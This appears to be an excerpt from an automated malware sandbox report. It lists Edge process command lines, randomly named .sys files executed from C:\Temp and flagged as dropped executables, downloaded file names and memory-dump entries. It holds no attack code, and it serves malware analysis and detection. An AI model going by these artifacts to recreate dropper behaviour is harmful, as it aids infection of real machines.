C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4808,i,1573148527064969084,1865975454334551638,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4776,i,13575531937359467041,6237970939750943483,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6432,i,6624233493645900166,18302672712519442898,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6048,i,10079554917504993765,10510530510880127496,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=924,i,14456093132449516047,18380892720890107556,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5516,i,15348699931755893725,11737430627406118406,262144 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5108,i,5121069951785558066,11413724464048372728,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\jgbysqligdywtnlf.sysC:\Temp\jgbysqligdywtnlf.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\tqlidavsnl.sysC:\Temp\tqlidavsnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\kicausqkic.sysC:\Temp\kicausqkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\nkfcxupnhf.sysC:\Temp\nkfcxupnhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhfzxupnhf.sysC:\Temp\jhfzxupnhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\uomgecwurp.sysC:\Temp\uomgecwurp.sys1⤵
- Executes dropped EXE
-
C:\Temp\mgebwtomge.sysC:\Temp\mgebwtomge.sys1⤵
- Executes dropped EXE
-
C:\Temp\omjhbytroj.sysC:\Temp\omjhbytroj.sys1⤵
- Executes dropped EXE
-
C:\Temp\igdywqolgd.sysC:\Temp\igdywqolgd.sys1⤵
- Executes dropped EXE
-
C:\Temp\igaysqlida.sysC:\Temp\igaysqlida.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqkicaxvpn.sysC:\Temp\sqkicaxvpn.sys1⤵
- Executes dropped EXE
-
C:\Temp\ausnkfvpnh.sysC:\Temp\ausnkfvpnh.sys1⤵
-
C:\Temp\khczusmkec.sysC:\Temp\khczusmkec.sys1⤵
-
C:\Temp\omhezxrpjh.sysC:\Temp\omhezxrpjh.sys1⤵
-
C:\Temp\hbztrljebz.sysC:\Temp\hbztrljebz.sys1⤵
-
C:\Temp\qoljhbztrl.sysC:\Temp\qoljhbztrl.sys1⤵
-
C:\Temp\ywqojgbytq.sysC:\Temp\ywqojgbytq.sys1⤵
-
C:\Temp\dyvtqligay.sysC:\Temp\dyvtqligay.sys1⤵
-
C:\Temp\xvpnifaysq.sysC:\Temp\xvpnifaysq.sys1⤵
-
C:\Temp\xvsqkifaxs.sysC:\Temp\xvsqkifaxs.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ecxupkhczu.exe
fcaxsqnhfz.exe
hfcxupnhfz.exe
i_ecxupkhczu.exe
i_fcaxsqnhfz.exe
i_hfcxupnhfz.exe
i_idavsnlfdx.exe
i_qoigayvqli.exe
idavsnlfdx.exe
jgbysqligdywtnlf.exe
jgbysqligdywtnlf.sys
jhfzxupnhf.sys
kicausqkic.sys
nkfcxupnhf.sys
omjhezxrpj.exe
qoigayvqli.exe
tqlidavsnl.sys
uomgecwurp.sys
47ce49f6-7252-4ac7-9c6c-d7388a4b6751.tmp
settings.dat
settings.dat
the-real-index
the-real-index~RFe59e507.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Secure Preferences
c231be4e-3363-4d9e-acdd-2063571c05ba.tmp
Local State
Local State
Local State
Local State
metadata.json
metadata.json
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
c9d706c2-b553-4f73-ad37-e6c67f324fc9.tmp
metadata.json~RFe59bc80.TMP
7d73670f-2b35-4f94-99e8-dfca6101d176.tmp
content_new.js
CreateProcess.exe
memory/688-664-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/828-522-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/932-623-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1428-655-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1560-660-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1684-545-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1760-549-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2092-631-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2420-421-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2516-468-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2516-502-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2692-66-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2700-509-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3088-594-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3520-584-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4432-675-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4760-610-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4796-564-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4796-590-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4864-496-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5404-651-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5704-695-0x0000000000010000-0x00000000000AB000-memory.dmp